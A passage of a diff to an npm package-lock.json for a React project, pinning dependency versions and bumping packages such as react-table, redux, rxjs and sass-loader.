"integrity": "sha512-c/MlywfxDdCp7EnB7YfPMOfMD3tOtIjrQlj/CKfNMBxdmpJP8xcz5P/UAFn3JbnQCNUxsHyVVqllF9LhgVyFCA==",
"requires": {
- "history": "^4.7.2",
- "invariant": "^2.2.4",
- "loose-envify": "^1.3.1",
- "prop-types": "^15.6.1",
- "react-router": "^4.3.1",
- "warning": "^4.0.1"
+ "history": "4.7.2",
+ "invariant": "2.2.4",
+ "loose-envify": "1.3.1",
+ "prop-types": "15.7.2",
+ "react-router": "4.3.1",
+ "warning": "4.0.2"
},
"dependencies": {
"invariant": {
@@ -14796,7 +15976,7 @@
"resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz",
"integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==",
"requires": {
- "loose-envify": "^1.0.0"
+ "loose-envify": "1.3.1"
}
},
"warning": {
@@ -14804,27 +15984,27 @@
"resolved": "https://registry.npmjs.org/warning/-/warning-4.0.2.tgz",
"integrity": "sha512-wbTp09q/9C+jJn4KKJfJfoS6VleK/Dti0yqWSm6KMvJ4MRCXFQNapHuJXutJIrWV0Cf4AhTdeIe4qdKHR1+Hug==",
"requires": {
- "loose-envify": "^1.0.0"
+ "loose-envify": "1.3.1"
}
}
}
},
"react-spinners": {
- "version": "0.5.4",
- "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.5.4.tgz",
- "integrity": "sha512-jo7BE8prvnZNL7xNrQL16geVXH6LmaWrhvvXnmUwz2MhFO14bhlAdCLuKCwqmUJ37kGphH0C2CJRThwkjfpVzw==",
+ "version": "0.5.13",
+ "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.5.13.tgz",
+ "integrity": "sha512-zrQTWlyhqs+3nQ4Zpg19eW4elYQgrrvu0fXL1tIP3CKgLBxkO+rmXdL8l34qTHrpDZnukMFGLxyqQebijeVSJA==",
"requires": {
- "@emotion/core": "^10.0.4",
- "prop-types": "^15.5.10",
- "recompose": "0.27.1 - 0.30.0"
+ "@emotion/core": "10.0.17",
+ "prop-types": "15.7.2",
+ "recompose": "0.30.0"
}
},
"react-table": {
- "version": "6.8.6",
- "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.6.tgz",
- "integrity": "sha1-oK2LSDkxkFLVvvwBJgP7Fh5S7eM=",
+ "version": "6.10.3",
+ "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.10.3.tgz",
+ "integrity": "sha512-sVlq2/rxVaQJywGD95+qGiMr/SMHFIFnXdx619BLOWE/Os5FOGtV6pQJNAjZixbQZiOu7dmBO1kME28uxh6wmA==",
"requires": {
- "classnames": "^2.2.5"
+ "classnames": "2.2.6"
}
},
"react-toggle": {
@@ -14832,16 +16012,15 @@
"resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.0.2.tgz",
"integrity": "sha512-EPTWnN7gQHgEAUEmjheanZXNzY5TPnQeyyHfEs3YshaiWZf5WNjfYDrglO5F1Hl/dNveX18i4l0grTEsYH2Ccw==",
"requires": {
- "classnames": "^2.2.5"
+ "classnames": "2.2.6"
}
},
"react-tooltip-lite": {
- "version": "1.9.1",
- "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.9.1.tgz",
- "integrity": "sha512-JH5T6kPZn7X90TnnNhuJ+wOb1eikT2xtpbOkndvqAHZlOyZOAZeAyVgk/3pGz0xi4h+bqXXisfwGtriliTYhDQ==",
+ "version": "1.10.0",
+ "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.10.0.tgz",
+ "integrity": "sha512-M4n6lGUWTrK2ngv2yDfVGnhO0EYoj5n3GNgKuZLYAK8q3jBbFK7Cj4tJNB6AtLgGlifL+y2TJ9LWWT2E3YKzhg==",
"requires": {
- "prop-types": "^15.5.8",
- "react-minimalist-portal": "^2.2.0"
+ "prop-types": "15.7.2"
}
},
"react-transition-group": {
@@ -14849,10 +16028,10 @@
"resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.8.0.tgz",
"integrity": "sha512-So23a1MPn8CGoW5WNU4l0tLiVkOFmeXSS1K4Roe+dxxqqHvI/2XBmj76jx+u96LHnQddWG7LX8QovPAainSmWQ==",
"requires": {
- "dom-helpers": "^3.3.1",
- "loose-envify": "^1.4.0",
- "prop-types": "^15.6.2",
- "react-lifecycles-compat": "^3.0.4"
+ "dom-helpers": "3.4.0",
+ "loose-envify": "1.4.0",
+ "prop-types": "15.7.2",
+ "react-lifecycles-compat": "3.0.4"
},
"dependencies": {
"loose-envify": {
@@ -14860,7 +16039,7 @@
"resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
"integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
"requires": {
- "js-tokens": "^3.0.0 || ^4.0.0"
+ "js-tokens": "3.0.2"
}
}
}
@@ -14870,9 +16049,9 @@
"resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz",
"integrity": "sha1-9f+qXs0pyzHAR0vKfXVra7KePyg=",
"requires": {
- "load-json-file": "^1.0.0",
- "normalize-package-data": "^2.3.2",
- "path-type": "^1.0.0"
+ "load-json-file": "1.1.0",
+ "normalize-package-data": "2.4.0",
+ "path-type": "1.1.0"
}
},
"read-pkg-up": {
@@ -14880,8 +16059,8 @@
"resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz",
"integrity": "sha1-nWPBMnbAZZGNV/ACpX9AobZD+wI=",
"requires": {
- "find-up": "^1.0.0",
- "read-pkg": "^1.0.0"
+ "find-up": "1.1.2",
+ "read-pkg": "1.1.0"
}
},
"readable-stream": {
@@ -14890,10 +16069,10 @@
"integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=",
"dev": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.1",
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
"isarray": "0.0.1",
- "string_decoder": "~0.10.x"
+ "string_decoder": "0.10.31"
}
},
"readdirp": {
@@ -14901,32 +16080,35 @@
"resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.1.0.tgz",
"integrity": "sha1-TtCtBg3zBzMAxIRANz9y0cxkLXg=",
"dev": true,
+ "optional": true,
"requires": {
- "graceful-fs": "^4.1.2",
- "minimatch": "^3.0.2",
- "readable-stream": "^2.0.2",
- "set-immediate-shim": "^1.0.1"
+ "graceful-fs": "4.1.11",
+ "minimatch": "3.0.4",
+ "readable-stream": "2.3.3",
+ "set-immediate-shim": "1.0.1"
},
"dependencies": {
"isarray": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=",
- "dev": true
+ "dev": true,
+ "optional": true
},
"readable-stream": {
"version": "2.3.3",
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.3.tgz",
"integrity": "sha512-m+qzzcn7KUxEmd1gMbchF+Y2eIUbieUaxkWtptyHywrX0rE8QEYqPC07Vuy4Wm32/xE16NcdBctb8S0Xe/5IeQ==",
"dev": true,
+ "optional": true,
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~1.0.6",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.0.3",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "1.0.7",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.0.3",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -14934,8 +16116,9 @@
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.0.3.tgz",
"integrity": "sha512-4AH6Z5fzNNBcH+6XDMfA/BTt87skxqJlO0lAh3Dker5zThcAxG6mKz+iGu308UKoPPQ8Dcqx/4JhujzltRa+hQ==",
"dev": true,
+ "optional": true,
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -14947,9 +16130,9 @@
"dev": true,
"requires": {
"ast-types": "0.9.6",
- "esprima": "~3.1.0",
- "private": "~0.1.5",
- "source-map": "~0.5.0"
+ "esprima": "3.1.3",
+ "private": "0.1.7",
+ "source-map": "0.5.6"
},
"dependencies": {
"esprima": {
@@ -14965,12 +16148,12 @@
"resolved": "https://registry.npmjs.org/recompose/-/recompose-0.30.0.tgz",
"integrity": "sha512-ZTrzzUDa9AqUIhRk4KmVFihH0rapdCSMFXjhHbNrjAWxBuUD/guYlyysMnuHjlZC/KRiOKRtB4jf96yYSkKE8w==",
"requires": {
- "@babel/runtime": "^7.0.0",
- "change-emitter": "^0.1.2",
- "fbjs": "^0.8.1",
- "hoist-non-react-statics": "^2.3.1",
- "react-lifecycles-compat": "^3.0.2",
- "symbol-observable": "^1.0.4"
+ "@babel/runtime": "7.1.5",
+ "change-emitter": "0.1.6",
+ "fbjs": "0.8.17",
+ "hoist-non-react-statics": "2.5.5",
+ "react-lifecycles-compat": "3.0.4",
+ "symbol-observable": "1.2.0"
}
},
"redent": {
@@ -14978,17 +16161,17 @@
"resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz",
"integrity": "sha1-z5Fqsf1fHxbfsggi3W7H9zDCr94=",
"requires": {
- "indent-string": "^2.1.0",
- "strip-indent": "^1.0.1"
+ "indent-string": "2.1.0",
+ "strip-indent": "1.0.1"
}
},
"redux": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.1.tgz",
- "integrity": "sha512-R7bAtSkk7nY6O/OYMVR9RiBI+XghjF9rlbl5806HJbQph0LJVHZrU5oaO4q70eUKiqMRqm4y07KLTlMZ2BlVmg==",
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/redux/-/redux-4.0.4.tgz",
+ "integrity": "sha512-vKv4WdiJxOWKxK0yRoaK3Y4pxxB0ilzVx6dszU2W8wLxlb2yikRph4iV/ymtdJ6ZxpBLFbyrxklnT5yBbQSl3Q==",
"requires": {
- "loose-envify": "^1.4.0",
- "symbol-observable": "^1.2.0"
+ "loose-envify": "1.4.0",
+ "symbol-observable": "1.2.0"
},
"dependencies": {
"loose-envify": {
@@ -14996,7 +16179,7 @@
"resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
"integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
"requires": {
- "js-tokens": "^3.0.0 || ^4.0.0"
+ "js-tokens": "3.0.2"
}
}
}
@@ -15018,9 +16201,9 @@
"integrity": "sha1-On0GdSDLe3F2dp61/4aGkb7+EoM=",
"dev": true,
"requires": {
- "babel-runtime": "^6.18.0",
- "babel-types": "^6.19.0",
- "private": "^0.1.6"
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0",
+ "private": "0.1.7"
}
},
"regex-cache": {
@@ -15030,8 +16213,8 @@
"dev": true,
"optional": true,
"requires": {
- "is-equal-shallow": "^0.1.3",
- "is-primitive": "^2.0.0"
+ "is-equal-shallow": "0.1.3",
+ "is-primitive": "2.0.0"
}
},
"regex-not": {
@@ -15040,8 +16223,17 @@
"integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==",
"dev": true,
"requires": {
- "extend-shallow": "^3.0.2",
- "safe-regex": "^1.1.0"
+ "extend-shallow": "3.0.2",
+ "safe-regex": "1.1.0"
+ }
+ },
+ "regexp.prototype.flags": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.2.0.tgz",
+ "integrity": "sha512-ztaw4M1VqgMwl9HlPpOuiYgItcHlunW0He2fE6eNfT6E/CF2FtYi9ofOYe4mKntstYk0Fyh/rDRBdS3AnxjlrA==",
+ "dev": true,
+ "requires": {
+ "define-properties": "1.1.3"
}
},
"regexpp": {
@@ -15056,9 +16248,9 @@
"integrity": "sha1-SdA4g3uNz4v6W5pCE5k45uoq4kA=",
"dev": true,
"requires": {
- "regenerate": "^1.2.1",
- "regjsgen": "^0.2.0",
- "regjsparser": "^0.1.4"
+ "regenerate": "1.3.2",
+ "regjsgen": "0.2.0",
+ "regjsparser": "0.1.5"
}
},
"regjsgen": {
@@ -15073,7 +16265,7 @@
"integrity": "sha1-fuj4Tcb6eS0/0K4ijSS9lJ6tIFw=",
"dev": true,
"requires": {
- "jsesc": "~0.5.0"
+ "jsesc": "0.5.0"
},
"dependencies": {
"jsesc": {
@@ -15102,11 +16294,11 @@
"integrity": "sha1-iYyr/Ivt5Le5ETWj/9Mj5YwNsxk=",
"dev": true,
"requires": {
- "css-select": "^1.1.0",
- "dom-converter": "~0.1",
- "htmlparser2": "~3.3.0",
- "strip-ansi": "^3.0.0",
- "utila": "~0.3"
+ "css-select": "1.2.0",
+ "dom-converter": "0.1.4",
+ "htmlparser2": "3.3.0",
+ "strip-ansi": "3.0.1",
+ "utila": "0.3.3"
},
"dependencies": {
"utila": {
@@ -15134,7 +16326,7 @@
"resolved": "https://registry.npmjs.org/repeating/-/repeating-2.0.1.tgz",
"integrity": "sha1-UhTFOpJtNVJwdSf7q0FdvAjQbdo=",
"requires": {
- "is-finite": "^1.0.0"
+ "is-finite": "1.0.2"
}
},
"request": {
@@ -15143,28 +16335,28 @@
"integrity": "sha512-8H7Ehijd4js+s6wuVPLjwORxD4zeuyjYugprdOXlPSqaApmL/QOy+EB/beICHVCHkGMKNh5rvihb5ov+IDw4mg==",
"dev": true,
"requires": {
- "aws-sign2": "~0.7.0",
- "aws4": "^1.6.0",
- "caseless": "~0.12.0",
- "combined-stream": "~1.0.5",
- "extend": "~3.0.1",
- "forever-agent": "~0.6.1",
- "form-data": "~2.3.1",
- "har-validator": "~5.0.3",
- "hawk": "~6.0.2",
- "http-signature": "~1.2.0",
- "is-typedarray": "~1.0.0",
- "isstream": "~0.1.2",
- "json-stringify-safe": "~5.0.1",
- "mime-types": "~2.1.17",
- "oauth-sign": "~0.8.2",
- "performance-now": "^2.1.0",
- "qs": "~6.5.1",
- "safe-buffer": "^5.1.1",
- "stringstream": "~0.0.5",
- "tough-cookie": "~2.3.3",
- "tunnel-agent": "^0.6.0",
- "uuid": "^3.1.0"
+ "aws-sign2": "0.7.0",
+ "aws4": "1.7.0",
+ "caseless": "0.12.0",
+ "combined-stream": "1.0.6",
+ "extend": "3.0.1",
+ "forever-agent": "0.6.1",
+ "form-data": "2.3.2",
+ "har-validator": "5.0.3",
+ "hawk": "6.0.2",
+ "http-signature": "1.2.0",
+ "is-typedarray": "1.0.0",
+ "isstream": "0.1.2",
+ "json-stringify-safe": "5.0.1",
+ "mime-types": "2.1.18",
+ "oauth-sign": "0.8.2",
+ "performance-now": "2.1.0",
+ "qs": "6.5.1",
+ "safe-buffer": "5.1.1",
+ "stringstream": "0.0.5",
+ "tough-cookie": "2.3.4",
+ "tunnel-agent": "0.6.0",
+ "uuid": "3.2.1"
},
"dependencies": {
"mime-db": {
@@ -15179,7 +16371,7 @@
"integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==",
"dev": true,
"requires": {
- "mime-db": "~1.33.0"
+ "mime-db": "1.33.0"
}
},
"qs": {
@@ -15196,7 +16388,7 @@
"integrity": "sha1-XTa7V5YcZzqlt4jbyBQf3yO0Tgg=",
"dev": true,
"requires": {
- "throttleit": "^1.0.0"
+ "throttleit": "1.0.0"
}
},
"require-directory": {
@@ -15209,16 +16401,6 @@
"resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz",
"integrity": "sha1-l/cXtp1IeE9fUmpsWqj/3aBVpNE="
},
- "require-uncached": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/require-uncached/-/require-uncached-1.0.3.tgz",
- "integrity": "sha1-Tg1W1slmL9MeQwEcS5WqSZVUIdM=",
- "dev": true,
- "requires": {
- "caller-path": "^0.1.0",
- "resolve-from": "^1.0.0"
- }
- },
"requires-port": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
@@ -15226,11 +16408,11 @@
"dev": true
},
"resolve": {
- "version": "1.10.0",
- "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.10.0.tgz",
- "integrity": "sha512-3sUr9aq5OfSg2S9pNtPA9hL1FVEAjvfOC4leW0SNf/mpnaakz2a9femSd6LqAww2RaFctwyf1lCqnTHuF1rxDg==",
+ "version": "1.12.0",
+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.12.0.tgz",
+ "integrity": "sha512-B/dOmuoAik5bKcD6s6nXDCjzUKnaDvdkRyAk6rsmsKLipWj4797iothd7jmmUhWTfinVMU+wc56rYKsit2Qy4w==",
"requires": {
- "path-parse": "^1.0.6"
+ "path-parse": "1.0.6"
}
},
"resolve-cwd": {
@@ -15239,22 +16421,36 @@
"integrity": "sha1-AKn3OHVW4nA46uIyyqNypqWbZlo=",
"dev": true,
"requires": {
- "resolve-from": "^3.0.0"
+ "resolve-from": "3.0.0"
+ }
+ },
+ "resolve-dir": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz",
+ "integrity": "sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=",
+ "dev": true,
+ "requires": {
+ "expand-tilde": "2.0.2",
+ "global-modules": "1.0.0"
},
"dependencies": {
- "resolve-from": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz",
- "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g=",
- "dev": true
+ "global-modules": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz",
+ "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==",
+ "dev": true,
+ "requires": {
+ "global-prefix": "1.0.2",
+ "is-windows": "1.0.2",
+ "resolve-dir": "1.0.1"
+ }
}
}
},
"resolve-from": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-1.0.1.tgz",
- "integrity": "sha1-Jsv+k10a7uq7Kbw/5a6wHpPUQiY=",
- "dev": true
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz",
+ "integrity": "sha1-six699nWiBvItuZTM17rywoYh0g="
},
"resolve-pathname": {
"version": "2.2.0",
@@ -15273,8 +16469,8 @@
"integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=",
"dev": true,
"requires": {
- "onetime": "^2.0.0",
- "signal-exit": "^3.0.2"
+ "onetime": "2.0.1",
+ "signal-exit": "3.0.2"
}
},
"ret": {
@@ -15283,10 +16479,16 @@
"integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==",
"dev": true
},
+ "retry": {
+ "version": "0.12.0",
+ "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz",
+ "integrity": "sha1-G0KmJmoh8HQh0bC1S33BZ7AcATs=",
+ "dev": true
+ },
"rfdc": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.1.2.tgz",
- "integrity": "sha512-92ktAgvZhBzYTIK0Mja9uen5q5J3NRVMoDkJL2VMwq6SXjVCgqvQeVP2XAaUY6HT+XpQYeLSjb3UoitBryKmdA==",
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.1.4.tgz",
+ "integrity": "sha512-5C9HXdzK8EAqN7JDif30jqsBzavB7wLpaubisuQIGHWf2gUXSpzy6ArX/+Da8RjFpagWsCn+pIgxTMAmKw9Zug==",
"dev": true
},
"right-align": {
@@ -15296,15 +16498,15 @@
"dev": true,
"optional": true,
"requires": {
- "align-text": "^0.1.1"
+ "align-text": "0.1.4"
}
},
"rimraf": {
- "version": "2.6.2",
- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.2.tgz",
- "integrity": "sha512-lreewLK/BlghmxtfH36YYVg1i8IAce4TI7oao75I1g245+6BctqTVQiBP3YUJ9C6DQOXJmkYR9X9fCLtCOJc5w==",
+ "version": "2.7.1",
+ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz",
+ "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==",
"requires": {
- "glob": "^7.0.5"
+ "glob": "7.1.4"
}
},
"ripemd160": {
@@ -15313,8 +16515,8 @@
"integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==",
"dev": true,
"requires": {
- "hash-base": "^3.0.0",
- "inherits": "^2.0.1"
+ "hash-base": "3.0.4",
+ "inherits": "2.0.3"
}
},
"run-async": {
@@ -15323,7 +16525,7 @@
"integrity": "sha1-A3GrSuC91yDUFm19/aZP96RFpsA=",
"dev": true,
"requires": {
- "is-promise": "^2.1.0"
+ "is-promise": "2.1.0"
}
},
"run-queue": {
@@ -15332,7 +16534,7 @@
"integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=",
"dev": true,
"requires": {
- "aproba": "^1.1.1"
+ "aproba": "1.2.0"
}
},
"rw": {
@@ -15341,12 +16543,12 @@
"integrity": "sha1-P4Yt+pGrdmsUiF700BEkv9oHT7Q="
},
"rxjs": {
- "version": "6.3.3",
- "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.3.3.tgz",
- "integrity": "sha512-JTWmoY9tWCs7zvIk/CvRjhjGaOd+OVBM987mxFo+OW66cGpdKjZcpmc74ES1sB//7Kl/PAe8+wEakuhG4pcgOw==",
+ "version": "6.5.3",
+ "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.3.tgz",
+ "integrity": "sha512-wuYsAYYFdWTAnAaPoKGNhfpWwKZbJW+HgAJ+mImp+Epl7BG8oNWBCTyRM8gba9k4lk8BgWdoYm21Mo/RYhhbgA==",
"dev": true,
"requires": {
- "tslib": "^1.9.0"
+ "tslib": "1.10.0"
}
},
"safe-buffer": {
@@ -15360,7 +16562,7 @@
"integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=",
"dev": true,
"requires": {
- "ret": "~0.1.10"
+ "ret": "0.1.15"
}
},
"safer-buffer": {
@@ -15374,10 +16576,10 @@
"resolved": "https://registry.npmjs.org/sass-graph/-/sass-graph-2.2.4.tgz",
"integrity": "sha1-E/vWPNHK8JCLn9k0dq1DpR0eC0k=",
"requires": {
- "glob": "^7.0.0",
- "lodash": "^4.0.0",
- "scss-tokenizer": "^0.2.3",
- "yargs": "^7.0.0"
+ "glob": "7.1.4",
+ "lodash": "4.17.10",
+ "scss-tokenizer": "0.2.3",
+ "yargs": "7.1.0"
},
"dependencies": {
"camelcase": {
@@ -15390,9 +16592,9 @@
"resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz",
"integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=",
"requires": {
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1",
- "wrap-ansi": "^2.0.0"
+ "string-width": "1.0.2",
+ "strip-ansi": "3.0.1",
+ "wrap-ansi": "2.1.0"
}
},
"is-fullwidth-code-point": {
@@ -15400,7 +16602,7 @@
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
"integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=",
"requires": {
- "number-is-nan": "^1.0.0"
+ "number-is-nan": "1.0.1"
}
},
"os-locale": {
@@ -15408,7 +16610,7 @@
"resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz",
"integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=",
"requires": {
- "lcid": "^1.0.0"
+ "lcid": "1.0.0"
}
},
"string-width": {
@@ -15416,9 +16618,9 @@
"resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
"integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=",
"requires": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
+ "code-point-at": "1.1.0",
+ "is-fullwidth-code-point": "1.0.0",
+ "strip-ansi": "3.0.1"
}
},
"which-module": {
@@ -15431,19 +16633,19 @@
"resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz",
"integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=",
"requires": {
- "camelcase": "^3.0.0",
- "cliui": "^3.2.0",
- "decamelize": "^1.1.1",
- "get-caller-file": "^1.0.1",
- "os-locale": "^1.4.0",
- "read-pkg-up": "^1.0.1",
- "require-directory": "^2.1.1",
- "require-main-filename": "^1.0.1",
- "set-blocking": "^2.0.0",
- "string-width": "^1.0.2",
- "which-module": "^1.0.0",
- "y18n": "^3.2.1",
- "yargs-parser": "^5.0.0"
+ "camelcase": "3.0.0",
+ "cliui": "3.2.0",
+ "decamelize": "1.2.0",
+ "get-caller-file": "1.0.3",
+ "os-locale": "1.4.0",
+ "read-pkg-up": "1.0.1",
+ "require-directory": "2.1.1",
+ "require-main-filename": "1.0.1",
+ "set-blocking": "2.0.0",
+ "string-width": "1.0.2",
+ "which-module": "1.0.0",
+ "y18n": "3.2.1",
+ "yargs-parser": "5.0.0"
}
},
"yargs-parser": {
@@ -15451,22 +16653,21 @@
"resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz",
"integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=",
"requires": {
- "camelcase": "^3.0.0"
+ "camelcase": "3.0.0"
}
}
}
},
"sass-loader": {
- "version": "7.1.0",
- "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.1.0.tgz",
- "integrity": "sha512-+G+BKGglmZM2GUSfT9TLuEp6tzehHPjAMoRRItOojWIqIGPloVCMhNIQuG639eJ+y033PaGTSjLaTHts8Kw79w==",
+ "version": "7.3.1",
+ "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.3.1.tgz",
+ "integrity": "sha512-tuU7+zm0pTCynKYHpdqaPpe+MMTQ76I9TPZ7i4/5dZsigE350shQWe5EZNl5dBidM49TPET75tNqRbcsUZWeNA==",
"requires": {
- "clone-deep": "^2.0.1",
- "loader-utils": "^1.0.1",
- "lodash.tail": "^4.1.1",
- "neo-async": "^2.5.0",
- "pify": "^3.0.0",
- "semver": "^5.5.0"
+ "clone-deep": "4.0.1",
+ "loader-utils": "1.2.3",
+ "neo-async": "2.6.1",
+ "pify": "4.0.1",
+ "semver": "6.3.0"
},
"dependencies": {
"big.js": {
@@ -15479,7 +16680,7 @@
"resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
"integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
"requires": {
- "minimist": "^1.2.0"
+ "minimist": "1.2.0"
}
},
"loader-utils": {
@@ -15487,30 +16688,30 @@
"resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
"integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
"requires": {
- "big.js": "^5.2.2",
- "emojis-list": "^2.0.0",
- "json5": "^1.0.1"
+ "big.js": "5.2.2",
+ "emojis-list": "2.1.0",
+ "json5": "1.0.1"
}
},
"pify": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
- "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY="
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+ "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
},
"semver": {
- "version": "5.7.0",
- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz",
- "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA=="
+ "version": "6.3.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+ "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
}
}
},
"scheduler": {
